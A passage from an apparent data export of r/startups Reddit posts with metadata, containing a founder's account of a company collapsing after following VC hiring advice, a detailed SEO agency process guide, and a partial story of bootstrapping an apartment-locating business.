lose momentum and they’ll lose the bet. I hope this part is clear because it’s the crux of the misalignment between founders and VCs. Anyway, I was told to hire a lot of people. Put fuel on the fire they said. Bring industry experts who can move the needle. All this BS you hear all day. All failed. I hired VPs and bloated my payroll. Ultimately I ended up with a bunch of highly paid employees who don’t know how to do anything but to “build and lead amazing teams.” Imagine you hire someone to scale an area and their solution is to divide that area into 5 sub areas and hire someone for each of them to figure it out, etc. that’s their solution. Anyway, I ended up focusing my efforts on hiring and ramping up those VPs and dealing with their dumb ideas instead of focusing on my 3 core tenants: build, sell, and deliver. Now who suffered? My customers and my original employees. My customers started experiencing poor delivery and slow growth so they started to cancel. My original employees would complain to their new bosses but the new bosses would criticize how things had been done. All in all we went from $0 to $100m to $0 because I followed the advice of the VCs. Thanks for letting me share my story.",elma3allem,1255,361,1691857260,/r/startups/comments/15p8qrx/my_0100m0_in_5_years_story/,https://www.reddit.com/r/startups/comments/15p8qrx/my_0100m0_in_5_years_story/,self.startups,True,,,,, hqgahk,startups,SEO is easy. The EXACT process we use to scale our clients' SEO from 0 to 200k monthly traffic and beyond,"Hey guys! There's a TON of content out there on SEO - guides, articles, courses, videos, scams, people yelling about it on online forums, etc etc.. Most of it, however, is super impractical. If you want to start doing SEO TODAY and start getting results ASAP, you'll need to do a TON of digging to figure out what's important and what's not. So we wanted to make everyone's lives super easy and distill our EXACT process of working w/ clients into a stupid-simple, step-by-step practical guide. And so we did. Here we are. **A bit of backstory:** *If you guys haven't seen any of my previous posts, me and my co-founder own an SEO/digital marketing agency, and we've worked w/ a ton of clients helping them go from 0 to 200k+ monthly organic traffic. We've also helped some quite big companies grow their organic traffic (from 1M to over 1.8M monthly organic), using the exact same process.* So without further ado, grab your popcorn, and be prepared to stick to the screen for a while, cause this is going to be a long post. Here's everything I am going to cover: * Get your website to run and load 2x - 5x faster (with MINIMAL technical know-how) * Optimize your landing pages to rank for direct intent keywords (and drive 100% qualified leads) * Create amazing, long-form content that ranks every time * How we get a TON of links to our website with ZERO link-building efforts * How to improve your content’s rankings with Surfer SEO **Step #1 - Technical Optimization and On-Page SEO** Step #1 to any SEO initiative is getting your technical SEO right. Now, some of this is going to be a bit technical, so you might just forward this part to your tech team and just skip ahead to ""Step #2 - Keyword Research."" If you DON'T have a tech team and want a super easy tl;dr, do this: * Use WP Rocket. It's a WordPress plugin that optimizes a bunch of stuff on your website, making it run significantly faster. * Use SMUSH to (losslessly) compress all the images on your website. this usually helps a TON w/ load speed. If you’re a bit more tech-savvy, though, read on! **Technical SEO Basics** **Sitemap.xml file.** A good sitemap shows Google how to easily navigate your website (and how to find all your content!). If your site runs on WordPress, all you have to do is install YoastSEO or Rankmath SEO, and they’ll create a sitemap for you. Otherwise, you can use an online XML Sitemap generation tool. **Proper website architecture.** The crawl depth of any page should be lower than 4 (i.e: any given page should be reached with no more than 3 clicks from the homepage). To fix this, you should improve your interlinking (check Step #6 of this guide to learn more). **Serve images in next-gen format.** Next-gen image formats (JPEG 2000, JPEG XR, and WebP) can be compressed a lot better than JPG or PNG images. Using WordPress? Just use Smush and it’ll do ALL the work for you. Otherwise, you can manually compress all images and re-upload them. **Remove duplicate content.** Google hates duplicate content and will penalize you for it. If you have any duplicate pages, just merge them (by doing a 301 redirect) or delete one or the other. **Update your ‘robots.txt’ file.** Hide the pages you don’t want Google to index (e.g: non-public, or unimportant pages). If you’re a SaaS, this would be most of your in-app pages. \] **Optimize all your pages by best practice**. There’s a bunch of general best practices that Google wants you to follow for your web pages (maintain keyword density, have an adequate # of outbound links, etc.). Install YoastSEO or RankMath and use them to optimize all of your web pages. If you DON’T have any pages that you don’t want to be displayed on Google, you DON’T need robots.txt. **Advanced Technical SEO** Now, this is where this gets a bit more web-devvy. Other than just optimizing your website for SEO, you should also focus on optimizing your website speed. Here’s how to do that: Both for Mobile and PC, your website should load in under 2-3 seconds. While load speed isn’t a DIRECT ranking factor, it does have a very serious impact on your rankings. After all, if your website doesn’t load for 5 seconds, a bunch of your visitors might drop off. So, to measure your website speed performance, you can use Pagespeed Insights. Some of the most common issues we have seen clients facing when it comes to website speed and loading time, are the following: * **Images being resized with CSS or JS.** This adds extra loading time to your site. Use GTMetrix to find which images need resizing. Use an online tool (there are a ton of free ones) to properly resize images (or Photoshop even), and re-upload them. * **Images not being lazy-loaded.** If your pages contain a lot of images, you MUST activate lazy-loading. This allows images that are below the screen, to be loaded only once the visitor scrolls down enough to see the image. * **Gzip compression** **not enabled.** Gzip is a compression method that allows network file transfers to happen a ton faster. In other words, your files like your HTML, CSS, and JS load a ton faster. * **JS, CSS, and HTML not minified/aggregated/in-lined.** If your website is loading slowly because you have 100+ external javascript files and stylesheets being requested from the server, then you need to look into minifying, aggregating, and inlining some of those files. * **Use Cloudflare + BunnyCDN** Why the combo? Why not just Cloudflare? Well, I won't get into details, I've experimented a bit with it, and if you are looking for something cheap and fast this is the best combo. Cloudflare you can opt in for the free account. BunnyCDN on the other hand is on a pay-as-you-go basis, and unless you are getting over 100K+ visits a month, you'll likely never go above their minimum monthly threshold of $1. Want to make your life easier AND fix up all these issues and more? Use WP Rocket. The tool basically does all your optimization for you (if you’re using WordPress, of course). **Step #2 - Keyword Research** Once your website is 100% optimized, it’s time to define your SEO strategy. The best way to get started with this is by doing keyword research. First off, you want to create a keyword research sheet. This is going to be your main hub for all your content operations. You can use the sheet to: 1. Prioritize content 2. Keep track of the publishing process 3. Get a top-down view of your web pages And here’s what it covers: * **Target search phrase**. This is the keyword you’re targeting. * **Priority**. What’s the priority of this keyword? We usually divide them by 1-2-3… * Priority 3 - Top priority keywords. These are usually low competition, high traffic, well-converting, or all 3 at the same time. * Priority 2 - Mid-priority keywords. * Priority 1 - These are low priority. * **Status**. What’s the status of the article? We usually divide them by… * 1 - Not written * 2 - Writer has picked up the topic for the week * 3 - The article is being written * 4 - The article is in editing phase * 5 - The article is published on the blog * **Topic cluster**. The category that the blog post belongs to. * **Monthly search volume**. Self-explanatory. This helps you pick a priority for the keyword. * **CPC (low & high bid)**. Cost per click for the keyword. Generally, unless you’re planning to run search ads, these are not mandatory. They can, however, help you figure out which of your keywords will convert better. **Pro tip:** the higher the CPC, the more likely it is for the keyword to convert well. Now that you have your sheet (and understand how it works), let’s talk about the “how” of keyword research. **How to do Keyword Research (Step-by-Step Guide)** There are a ton of different ways to do that (check the “further readings” at the end of this section for a detailed rundown). Our favorite method, however, is as follows… Start off by listing out your top 5 SEO competitors. The key here is SEO competitors - competing companies that have a strong SEO presence in the same niche. Not sure who’s a good SEO competitor? Google the top keywords that describe your product and find your top-ranking competitors. Run them through SEMrush (or your favorite SEO tool), and you’ll see how well, exactly, they’re doing with their SEO. Once you have a list of 5 competitors, run each of them through “Organic Research” on SEMrush, and you'll get a complete list of all the keywords they rank on. Now, go through these keywords one by one and extract all the relevant ones and add them to your sheet. Once you go through the top SEO competitors, your keyword research should be around 80%+ done. Now to put some finishing touches on your keyword research, run your top keywords through UberSuggest and let it do its magic. It's going to give you a bunch of keywords associated with the keywords you input. Go through all the results it's going to give you, extract anything that’s relevant, and your keyword research should be 90% done. At this point, you can call it a day and move on to the next step. Chances are, over time, you’ll uncover new keywords to add to your sheet and get you to that sweet 100%. **Step #3 - Create SEO Landing Pages** Remember how we collected a bunch of landing page keywords in step #2? Now it’s time to build the right page for each of them! This step is a lot more straightforward than you’d think. First off, you create a custom landing page based around the keyword. Depending on your niche, this can be done in 2 ways: 1. Create a general template landing page. Pretty much copy-paste your landing page, alter the sub-headings, paraphrase it a bit, and add relevant images to the use-case. You’d go with this option if the keywords you’re targeting are very similar to your main use-case (e.g. “project management software” “project management system”). 2. Create a unique landing page for each use-case. You should do this if each use-case is unique. For example, if your software doubles as project management software and workflow management software. In this case, you’ll need two completely new landing pages for each keyword. Once you have a bunch of these pages ready, you should optimize them for their respective keywords. You can do this by running the page content through an SEO tool. If you’re using WordPress, you can do this through RankMath or Yoast SEO. Both tools will give you exact instructions on how to optimize your page for the keyword. If you’re not using WordPress, you can use SurferSEO. Just copy-paste your web page content, and it’s going to give you instructions on how to optimize it. Once your new landing pages are live, you need to pick where you want to place them on your website. We usually recommend adding these pages to your website’s navigation menu (header) or footer. Finally, once you have all these new landing pages up, you might be thinking “Now what? How, and when, are these pages going to rank?” Generally, landing pages are a tad harder to rank than content. See, with content, quality plays a huge part. Write better, longer, and more informative content than your competition, and you’re going to eventually outrank them even if they have more links. With landing pages, things aren’t as cut and dry. More often than not, you can’t just “create a better landing page.” What determines rankings for landing page keywords are backlinks. If your competitors have 400 links on their landing pages, while yours has 40, chances are, you’re not going to outrank them. **Step #4 - Create SEO Blog Content** Now, let’s talk about the other side of the coin: content keywords, and how to create content that ranks. As we mentioned before, these keywords aren’t direct-intent (the Googler isn’t SPECIFICALLY looking for your product), but they can still convert pretty well. For example, if you’re a digital marketing agency, you could rank on keywords like… * Lead generation techniques * SaaS marketing * SEO content After all, anyone looking to learn about lead gen techniques might also be willing to pay you to do it for them. On top of this, blog post keywords are way easier to rank for than your landing pages - you can beat competition simply by creating significantly better content without turning it into a backlink war.In order to create good SEO content, you need to do 2 things right: 1. Create a comprehensive content outline 2. Get the writing part right Here’s how each of these work... **How to Create a Content Outline for SEO** A content outline is a document that has all the info on what type of information the article should contain Usually, this includes: * Which headers and subheaders you should use * What’s the optimal word count * What information, exactly, should each section of the article cover * If you’re not using Yoast or Rankmath, you can also mention the SEO optimization requirements (keyword density, # of outbound links, etc.) Outlines are useful if you’re working with a writing team that isn’t 100% familiar with SEO, allowing them to write content that ranks without any SEO know-how. At the same time, even if you’re the one doing the writing, an outline can help you get a top-down idea of what you should cover in the article. So, how do you create an outline? Here’s a simplified step-by-step process… 1. Determine the target word count. Rule of thumb: aim for 1.5x - 2x whatever your competitor wrote. You can disregard this if your competition was super comprehensive with their content, and just go for the same length instead. 2. Create a similar header structure as your competition. Indicate for the writer which headers should be h2, which ones h3. 3. For each header, mention what it’s about. Pro tip - you can borrow ideas from the top 5 ranking articles. 4. For each header, explain what, exactly, should the writer mention (in simple words). 5. Finally, do some first-hand research on Reddit and Quora. What are the questions your target audience has around your topic? What else could you add to the article that would be super valuable for your customers? **How to Write Well** There’s a lot more to good content than giving an outline to a writer. Sure, they can hit all the right points, but if the writing itself is mediocre, no one’s going to stick around to read your article. Here are some essential tips you should keep in mind for writing content (or managing a team of writers): 1. Write for your audience. Are you a B2B enterprise SaaS? Your blog posts should be more formal and professional. B2C, super-consumer product? Talk in a more casual, relaxed fashion. Sprinkle your content with pop culture references for bonus points! 2. Avoid fluff. Every single sentence should have some sort of value (conveying information, cracking a joke, etc.). Avoid beating around the bush, and be as straightforward as possible. 3. Keep your audience’s knowledge in mind. For example, if your audience is a bunch of rocket scientists, you don’t have to explain to them how 1+1=2. 4. Create a writer guideline (or just steal ours! -> edit: sorry had to remove link due to posting guidelines) 5. Use Grammarly and Hemingway. The first is like your personal pocket editor, and the latter helps make your content easier to read. 6. Hire the right writers. Chances are, you’re too busy to write your own content. We usually recommend using ProBlogger or Cult of Copy Job Board (Facebook Group) to source top writing talent. **Step #5 - Start Link-Building Operations** Links are essential if you want your content or web pages to rank. If you’re in a competitive niche, links are going to be the final deciding factor on what ranks and what doesn’t. In the VPN niche, for example, everyone has good content. That’s just the baseline. The real competition is in the backlinks. To better illustrate this example, if you Google “best VPN,” you’ll see that all top-ranking content pieces are almost the same thing. They’re all: * Well-written * Long-form * Easy to navigate * Well-formatted (to enhance UX) So, the determining factor is links. If you check all the top-ranking articles with the Moz Toolbar Extension, you’ll see that on average, each page has a minimum of 300 links (and some over 100,000!). Meaning, to compete, you’ll really need to double-down on your link-building effort. In fact, in the most competitive SEO niches, it’s not uncommon to spend $20,000 per month on link-building efforts alone. **Pro Tip** Got scared by the high $$$ some companies spend on link-building? Well, worry not! Only the most ever-green niches are so competitive. Think, VPN, make money online, health and fitness, dating, CBD, gambling, etc. So you know, the usual culprits. For most other niches, you can even rank with minimal links, as long as you have top-tier SEO content. Now, let’s ask the million-dollar question: *“how do you do link-building?”* **4 Evergreen Link Building Strategies for Any Website** There are a TON of different link building strategies on the web. Broken link building, scholarship link building, stealing competitor links, and so on and so on and so on. We’re not going to list every single link building strategy out there (mainly because Backlinko already did that in their link building guide). What we are going to do, though, is list out some of our favorite strategies, and link you to resources where you can learn more: 1. Broken link building. You find dead pages with a lot of backlinks, reach out to websites that linked to them, and pitch them something like “hey, you linked to this article, but it’s dead. We thought you’d want to fix that. You can use our recent article if you think it’s cool enough.” 2. Guest posting. Probably the most popular link building strategy. Find blogs that accept guest posts, and send them a pitch! They usually let you include 1-2 do-follow links back to your website. 3. “Linkable asset” link building. A linkable asset is a resource that is so AWESOME that you just can’t help but link to. Think, infographics, online calculators, first-hand studies or research, stuff like that. The tl;dr here is, you create an awesome resource, and promote the hell out of it on the web. 4. Skyscraper technique. The skyscraper technique is a term coined by Backlinko. The gist of it is, you find link-worthy content on the web, create something even better, and reach out to the right people. Most of these strategies work, and you can find a ton of resources on the web if you want to learn more. However, if you’re looking for something a bit different, oh boy we have a treat for you! We’re going to teach you a link-building strategy that got us around: * 10,000+ traffic within a week * 15+ leads * 50+ links ...And so much more, all through a *single* blog post. **Link-Building Case Study: SaaS Marketing** *“So, what’s this ancient link-building tactic?”* I hear you asking. It must be something super secretive and esoteric, right? Secrets learned straight from the link-building monks at an ancient SEO temple… *“Right?”* Well, not quite. The tactic isn’t something too unusual - it’s pretty famous on the web. This tactic comes in 2 steps: 1. Figure out where your target audience hangs out (create a list of the channels) 2. Research the type of content your audience loves 3. Create EPIC content based on that research (give TONS of value) 4. Promote the HELL out of it in the channels from step 1 Nothing too new, right? Well, you’d be surprised how many people don’t use it. Now, before you start throwing stones at us for overhyping something so simple, let’s dive into the case study: How we PR’d the hell out of our guide to SaaS marketing (can't add a link, but it's on our blog and it's 14k words long), and got 10k+ traffic as a result. A few months back when we launched our blog, we were deciding on what our initial content should be about. Since we specialize in helping SaaS companies acquire new users, we decided to create a mega-authority guide to SaaS marketing (AND try to get it to rank for its respective keyword). We went through the top-ranking content pieces, and saw that none of them was anything too impressive. Most of them were about general startup marketing strategies - how to validate your MVP, find a product-market fit, etc. Pretty “meh,” if you ask us. We believe that the #1 thing founders are looking for when Googling “saas marketing” are practical channels and tactics you can use to acquire new users. So, it all started off with an idea: create a listicle of the top SaaS marketing tactics out there: 1. How to create good content to drive users 2. Promote your content 3. Rank on Google 4. Create viral infographics 5. Create a micro-site ...and we ended up overdoing it, covering 41+ different tactics and case studies and hitting around 14k+ words. On one hand, oops! On the other hand, we had some pretty epic content on our hands. We even added the Smart Content Filter to make the article much easier to navigate. Once the article was up, we ran it through some of our clients, friends, and acquaintances, and received some really good feedback. So, now we knew it was worth promoting the hell out of it. We came up with a huge list of all online channels that would appreciate this article: 1. r/ entrepreneur and r/ startups (hi guys!). The first ended up loving the post, netting us \~600 upboats and a platinum medal. The latter also ended up loving the post, but the mods decided to be assholes and remove it for being “self-promotional.” So, despite the community loving the content, it got axed by the mods. Sad. (Fun fact - this one time we tried to submit another content piece on r/ startups with no company names, no links back to our website, or anything that can be deemed promotional. One of the mods removed it for mentioning a link to Ahrefs. Go figure!) 2. Hacker News. Tons of founders hang out on HN, so we thought they’d appreciate anything SaaS-related. This netted us around \~200+ upvotes and some awesome feedback (thanks HN!) 3. Submit on Growth Hackers, Indie Hackers, and all other online marketing communities. We got a bunch of love on Indie Hackers, the rest were quite inactive. 4. Reach out to all personal connects + clients and ask for a share 5. Run Facebook/Twitter ads. This didn’t particularly work out too well for us, so we dropped it after 1-2 weeks. 6. Run a Quuu promotion. If you haven’t heard of Quuu, it’s a platform that matches people who want their content to be shared, with people who want their social media profiles running on 100% auto-pilot. We also got “meh” results here - tons of shares, next to no likes or link clicks. 7. Promoted in SaaS and marketing Facebook groups. This had awesome results both in terms of traffic, as well as making new friends, AND getting new leads. 8. Promoted in entrepreneur Slack channels. This worked OK - didn’t net us traffic, but got us some new friends. 9. Emailed anyone we mentioned in the article and asked for a share. Since we mentioned too many high profile peeps and not enough non-celebs, this didn’t work out too well 10. Emailed influencers that we thought would like the article / give it a share. They didn’t. We were heart-broken. And accordingly, created a checklist + distribution sheet with all the websites or emails of people we wanted to ping. Overall, this netted us around 12,000 page views in total, 15+ leads, 6,000 traffic in just 2 promotion days. As for SEO results, we got a bunch of links. (I would have added screenshots to all of these results, but don't think this subreddit allows it). A lot of these are no-follow from Reddit, HackerNews, and other submission websites, but a lot of them are also pretty authentic. The cool part about this link-building tactic is that people link to you without even asking. You create awesome content that helps people, and you get rewarded with links, shares, and traffic! And as for the cherry on top, only 2 months after publishing the article, it’s ranking on position #28. We’re expecting it to get to page 1 within the new few months and top 3 within the year. **Step #6 - Interlink Your Pages** One of Google's ranking factors is how long your visitors stick around on your website. So, you need to encourage users reading ONE article, to read, well, the rest of them (or at least browse around your website). This is done through interlinking. The idea is that each of your web pages should be linked to and from every other relevant page on your site. Say, an article on ""how to make a resume"" could link to (and be linked from) ""how to include contact info on a resume,"" ""how to write a cover letter,"" ""what's the difference between a CV and a resume,"" and so on. Proper interlinking alone can have a significant impact on your website rankings. NinjaOutreach, for example, managed to improve their organic traffic by 40% through better interlinking alone. So, how do you do interlinking “right?” First off, make it a requirement for your writers to link to the rest of your content. Add a clause to your writer guidelines that each article should have 10+ links to your other content pieces. More often than not, they’ll manage to get 60-70% of interlinking opportunities. To get this to 100%, we usually do bi-annual interlinking runs. Here’s how that works. Pick an article you want to interlink. Let’s say, for example, an article on 'business process management'. The goal here is to find as many existing articles on your blog, where ‘business process management’ is mentioned so that we can add a link to the article. Firstly, Google the keyword ‘business process management’ by doing a Google search on your domain. You can use the following query: *site:yourwebsite.com ""keyword""* In our case, that’s: site:example.com “business process management” You’ll get a complete list of articles that mention the keyword “business process management. Now, all you have to do is go through each of these, and make sure that the keyword is hyperlinked to the respective article! You should also do this for all the synonyms of the keyword for this article. For example, “BPM” is an acronym for business process management, so you’d want to link this article there too. Step #7 - Track & Improve Your Headline CTRs Article CTRs play a huge role in determining what ranks or not. Let’s say your article ranks #4 with a CTR of 15%. Google benchmarks this CTR with the average CTR for the position. If the average CTR for position #4 is 12%, Google will assume that your article, with a CTR of 15% is of high quality, and will reward you with better rankings. On the other hand, if the average CTR is 18%, Google will assume that your article isn’t as valuable as other ranking content pieces, and will lower your ranking. So, it’s important to keep track of your Click Through Rates for all your articles, and when you see something that’s underperforming, you can test different headlines to see if they’ll improve CTR. Now, you’re probably wondering, how do you figure out what’s the average CTR? Unfortunately, each search result is different, and there's no one size fits all formula for average CTR. Over the past few years, Google has been implementing a bunch of different types of search results - featured snippet, QAs, and a lot of other types of search results. So, depending on how many of these clutter and the search results for your given keyword, you’ll get different average CTRs by position. Rule of thumb, you can follow these values: * 1st position -> \~31.73% CTR * 2nd pos. -> \~24.71% * 3rd pos. -> 18.66% * 4th pos. -> 13.60% * 5th -> 9.51% * 6th -> 6.23% * 7th -> 4.15% * 8th -> 3.12% * 9th -> 2.97% Keep in mind these change a lot depending on your industry, PPC competitiveness, 0-click searches, etc... Use a scraping tool like Screaming Frog to extract the following data from all your web pages: * Page title * Page URL * Old Headline Delete all the pages that aren’t meant to rank on Google. Then, head over to Google Search Console and extract the following data for all the web pages: * CTR (28 Day Range) * Avg. Position Add all of this data to a spreadsheet. Now, check what your competition is doing and use that to come up with new headline ideas. Then, put them in the *Title Ideas* cell for the respective keyword. For each keyword, come up with 4-5 different headlines, and implement the (seemingly) best title for each article. Once you implement the change, insert the date on the *Date Implemented* column. This will help you keep track of progress. Then, wait for around 3 - 4 weeks to see what kind of impact this change is going to have on your rankings and CTR. If the results are not satisfactory, record the results in the respective cells, and implement another test for the following month. Make sure to update the *Date Implemented* column once again. **Step #8 - Keep Track of Rankings & Make Improvements On-The-Go** You’re never really “done” with SEO - you should always keep track of your rankings and see if there’s any room for improvement. If you wait for an adequate time-frame after publishing a post (6 months to a year) and you’re still seeing next to no results, then it might be time to investigate. Here’s what this usually looks like for us: &#x200B; * **Audit the content** * Is your content the adequate word count? Think, 1.5-2x your competitors. * Is the content well-written? * Do the images in your article add value? E.g. no stock or irrelevant images. * Is the content optimized for SEO? Think, keyword density, links to external websites, etc. &#x200B; * **Audit internal links** * Does the content link to an adequate number of your other articles or web pages? * Is the article linked to from an adequate number of your web pages or blog posts? You can check this on Search Console => Links => Internal Links. Or, if you’re using Yoast or RankMath, you can check the # of internal links a post has in the WordPress Dashboard -> Posts. &#x200B; * **Audit the backlinks** * Do you have as many backlinks as your competitors? * Are your backlinks from the countries you want to rank in? If you have a bunch of links from India, but you want to rank in the US, you’d need to get more US links. * Are your links high quality? More often than not, low DA / PA links are not that helpful. * Did you disown low-quality or spam links? &#x200B; * **Audit web page** * Does the web page load too slow? Think, 4+ seconds. * Did you enable lazy loading for the images? * Did you compress all images on the web page? ...and that's it. Hope you guys had a good read and learned a thing or two :) HMU if you have any questions. *If you want to read the full version in a more reader-friendly format, you can checkout our* [SEO process](https://apollodigital.io/blog/seo-process) *blog post here.*",malchik23,1155,212,1594650748,/r/startups/comments/hqgahk/seo_is_easy_the_exact_process_we_use_to_scale_our/,https://www.reddit.com/r/startups/comments/hqgahk/seo_is_easy_the_exact_process_we_use_to_scale_our/,self.startups,True,,,,, nh6otg,startups,How I bootstrapped a $40m company overnight,"And by overnight, I mean it took 11 YEARS and I SURE AS HELL didn’t build it by myself. Here’s my story, my epic failures, the successes, and the heartaches. **2010:** I was 22 and worked at an engineering firm as an assistant, and I sucked at it. I hated having to dress up and be someone different at work. I was miserable in corporate life. I got my real estate license because I wanted to sell million dollar homes. Turns out I didn’t know any millionaires. Shit. I was like, “what do all my broke college friends need?” They need apartments! I started finding my friends apartments in my spare time, after work and on the weekends. I didn’t quit my full time job because, that is scary duh. **2011:** Utilized my network on social media to find my friends and their friends apartments. In Texas, apartments pay you a referral fee if you are a licensed real estate agent and you send them a lease. Still I did not quit my job, because…. that’s scary duh. **2012:** Got my broker’s license so I could start hiring people underneath me. I interviewed people after work and I stayed up until midnight every night posting ads on craigslist to find clients. Then I went to my day job at 7am. (MISTAKE) Still I did not quit by job. Because that’s fucking scary duh. At this point I was making about $8k/month from apartment locating part time, but for some reason it was too risky to quit my $20/hr job. Don’t talk to me about logic, I have none. **2013: 5 people, $500k revenue.** Mom died. That REALLY sucked. Read Man Search For Meaning and it changed my mindset. Said “fuck it, might as well take this apartment locating thing seriously and start a company”. Quit my job and opened the first tiny 500sqft office 3 weeks later. Launched a website. Wow. Wish I would have quit sooner. So much more time to focus on business. Hired more people. Realized that they were better apartment locators than me, so I focused on my specialty, marketing and lead gen. **2014: 15 people, $1.2m revenue** Instagram started to blow up. We focused on posting the best apartment deals in the city. Like, the deal that we would want to lease that for ourselves because it’s such a good price. Turns out, other people wanted to lease those too and we started leasing every time we posted a unit. Then properties started calling us wanting to be featured on our “instagram”… I was like sure what are your 1 beds going for? ‘$1400’… and I was like okay we need those for $999, thinking surely they wouldn’t say yes. AND THEN THEY WERE LIKE YES. I was like WTF?! TIGHT! And that was the birth of negotiated deals. BUT NOW SO MANY PEOPLE CALLING US. I was a FULL BLOWN PSYCHO about the client experience. I would fire agents who gave shitty service. That was different from what every other real estate “brokerage” was doing. They wanted to hire as many people as possible. I wanted to hire as many AWESOME people as possible. I wanted people who took pride in their work, because I knew that would lead to a strong brand and a strong culture. **2015: 25 people, $2.4m revenue.** Literally could not hire fast enough. So many leads. (MISTAKE) I started calling all my friends. I was like Oprah like YOU GET A JOB AND YOU GET A JOB AND YOU GET A JOB and everyone was like um hell yeah I’m gonna quit my $40k/yr corporate job and go do real estate for triple the money. The great thing about working with your friends is that you get to work with your friends! Shit got REALLY FUCKING FUN. It was like a party every day. We were all making money and having a blast. But I’ll talk about the problems of hiring friends later. We were all gas no brakes, just grow and figure it out as we go. No systems, processes. **2016: 45 people, 4.8m revenue.** We hired another 20 people and grew again. Negotiated deals took off. We were leasing 20-30 units at a time at discounted rates, all from social media. I was working 80hr weeks and was exhausted, so I hired an assistant who ended up being a game changer hire. She would watch me work, ask me what I was doing and then say “I can do that”. I’m like, you can? Oh! Within a month or so she was running a team underneath her. That freed up my time to focus on hiring more agents. Oh hello, issues! Customer service started declining. People weren’t following up with their leads, all anecdotal of course because we had no system to track. My gut said it was time for a CRM because passing out leads via email wasn’t cutting it. It was a mess. We implemented Zoho as a CRM at the end of the year (before this we were passing out leads just directly to email). This would prepare us for scale. **2017: 100 people, $10m revenue** Hired another 30 people. Launched another market in Texas. SO MANY OPERATIONAL ISSUES. EVERYTHING IS ON FIRE. WE NEED PROCESS, STRUCTURE, WE NEED AN ORG CHART, WE NEED ACCOUNTING?!?! Still running a $10m business on a spreadsheet. Read the book “Traction” by Gino Wickman. Promoted an agent to operations. PRO - he was a killer, working around the clock to help us implement everything in the Traction book. Pushed the business forward and created regular cadence for our leadership meetings. (MISTAKE) Titled him Vice President with zero Vice President experience. Because I don’t fucking care about titles, I only care about how much I’m paying. Well, that came back to bite me later when people want their pay to match their title. The hardest lesson I’ve learned in leadership is to be honest with people about their growth and if you believe they won’t be able to get you to the next level, have a REAL and TRUTHFUL conversation. This is hard. Especially if you only have the budget for 1 person and the one you have isn’t able to accelerate the company. I fucked this up many times in my career. I wanted people to like me, but it did the opposite. I was an inexperienced leader who just kept hiring over people because I was afraid to be real. What got you here won’t get you there. I knew that, but I was too afraid to say the hard things. I wish I learned this lesson earlier. Also hired a fractional CFO company. They tried to move us to accrual, but I didn’t understand it so we stuck to cash. Started to slowly put systems and process in place. TRIED to put accountability in place for the agents, everyone freaked out thinking they were all going to get fired so we took it away. Big mistake. **2018: 120 people and $13m revenue** Had to calm down on growth and figure out what the hell we were doing. We hired our first outside person, a Director of Sales. He was a game changer for allowing me to focus on growth while he focused on the sales team. Remember back when I hired my friends? It was all fun and games till you actually have to manage them. Or fire them. Most of my friends quit or were fired, and I lost them as friends. My inexperience as a business leader caused me lose people I cared about. It was an emotional year, but it was then that I realized I needed outside help. So I joined Vistage and EO (networking groups for entrepreneurs). This was A GAME CHANGER. I learned so much from other business owners. Before this, I had no real mentors who were in their businesses every day. And I had no real working experience in leadership since I started this business so young. We tried again to implement accountability but the agents all freaked out so we took it away, AGAIN. Still no clear accountability. Implemented Net Promoter Score to get insight into our customer experience. Turns out it wasn’t great. Zoho was a nightmare, it was over complicated and leads were still falling through the cracks. Agents couldn’t stay organized so we decided to build our own custom CRM. That cost a cool $1.2m. But it set us up for scale. **2019: 100 people and $19m revenue** Remember that custom CRM we built? Well that increased agent revenue per head by 38%. We were CRUSHING it. Growing and hiring people like crazy. Multifamily industry exploded. I was working nonstop, and I was so deep in the weeds I didn’t have time to focus on the future. My Vistage group said I needed a COO and a CFO. I still didn’t have clear insight into my numbers, but my gut said we were going to have to do a compensation change for the agents. Get ready for this, because this was one of the worst mistakes of my career. Hired an accounting manager (instead of a CFO, another mistake). Another attempt to get us to accrual accounting, failed. For the record- I was being cheap here, having clear insight into my numbers is one place I wish I wouldn’t have been cheap. This caused me so much pain. Because I didn’t have clear insight into my numbers, my gut said we needed to be at a lower comp for agents. I was afraid of risk. This fear cost millions and our reputation, and has taken over 18 months to repair. Having clear accounting is rookie shit guys, I know. I really wish I knew this back then. In November of 2019, we HEAVILY adjusted comp downwards. We lost 30% of our team, which is about what we were expecting. Over the following 5 months, we lost another 30% of our team, resulting in us having to replace 60% of our entire agents. It was rough, and morale was low. Here’s why we lost so many. Comp mistake 1: We gave people only 2 weeks to make a decision on whether or not they wanted to stay. This was so dumb on my part. My fear was that they were gonna stop taking care of them and it would hurt the business. That was a poor assumption on my part. People need more time with comp changes to decide if it makes sense for them to stay or to look at the market to see what is out there. Comp mistake 2: If they chose to stay, they were REQUIRED to sign a contract that forces them to stay until July 1, which is when our “busy” season ends. This was such a huge fuck up. My thoughts were - protect the business and the rest of the team during its busiest season so people don’t just say they’re gonna stay and then leave mid Q2. I thought I was protecting the rest of my employees, but by putting these “shackles” in place, it made things worse. I realized agents were staying at my company because of a contract, not because they wanted to be here. (I later rescinded this contract and apologized, and we still had a majority of people stay through that). Comp mistake 3: the comp plan itself. In one of our markets, it was backwards. I have no idea why we did it that way. The more you produced, the less money you made per deal. It was dumb. Also, our average agent take home for full time went to $60-80k. I thought that was a really great living for agents who were getting all leads provided, all they had to do was find people apartments. Turns out, there is a lot more variability, which is why we ended up adding back more comp in 2020. Comp mistake 4: As CEO, I did not announce the comp change myself, my Director of Sales did. My thinking? At some point he has to take full ownership of the sales team. I was at home with my one week old baby, and I knew he could handle this. The perception from my team? That I was too cowardly to announce the plan myself. Is there some truth there? Absolutely. I didn’t learn how to stop shying away from the hard conversations until after I hired my COO. (Will talk about him in a bit, he was a huge role model for me on how to be a better leader) Fifth and most important mistake: I lost the trust of my team. Overall, I had to choose whether I wanted the agent role at the company to be an INCREDIBLE opportunity for a few, or a GREAT opportunity for many. I chose the latter. Let me be clear, I would make that same decision again, but I would roll it out so differently, and clear accounting means I could have done a less drastic comp change. **2020: 200 people and $21m revenue** It took me over a year to find my COO and CFO. I had issues hiring “overhead” positions because I thought I could do it all, and I just couldn’t justify spending the amount of money for the position. And these were expensive high level positions that I wasn’t ready for before, but I knew I needed them now that I botched comp so bad. I was an inexperienced leader who needed help to get to the next level. I finally found two people who spoke about the culture and the people (and not just numbers) and I did everything I could to get them to join the team. I told them that they would have a TON of mess to clean up, and all of it was caused by me. Over the first 3 months of 2020, morale was rough. New comp, new C level positions, and we also built out our leadership team. A lot of new faces from outside the company, and I had lost trust. We continued to have high turnover. Then, BOOM. Pandemic hit. Fuck. I was scared shitless. But I’ve learned what damage my fear could do now, so we did the complete opposite of everyone else. We decided to launch 3 new markets in 90 days. It was NUTS, we had sales leaders moving across the 